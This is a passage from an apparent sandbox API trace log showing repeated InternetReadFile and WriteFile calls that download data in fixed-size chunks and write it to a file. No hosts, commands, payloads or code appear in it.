lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.359] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.359] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.360] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.360] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.361] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.361] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.362] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.362] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.384] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.385] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.388] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.388] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.400] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.400] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.402] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.402] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.405] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.406] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.407] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.408] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.423] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.423] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.427] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.427] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.440] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.440] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.443] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.443] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.445] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.446] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.448] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.448] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.463] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.463] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.466] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.466] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.480] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.481] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.483] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.483] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.485] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.485] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.488] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.490] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.501] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.502] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.505] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.505] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.517] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.518] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.522] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.522] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.524] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.524] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.526] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.526] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.530] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.530] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.544] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.545] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.546] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.547] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.562] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.562] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.564] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.565] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.567] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.567] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.570] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.571] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.583] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.583] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.586] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.586] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.600] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.600] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.604] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.604] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.606] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.606] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.610] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.610] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.622] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.622] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.625] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.625] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.642] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.643] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.644] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.644] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.645] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.645] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.650] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.651] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.661] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.661] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.663] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.664] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.666] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.666] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.681] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.681] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.685] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.685] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.687] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, 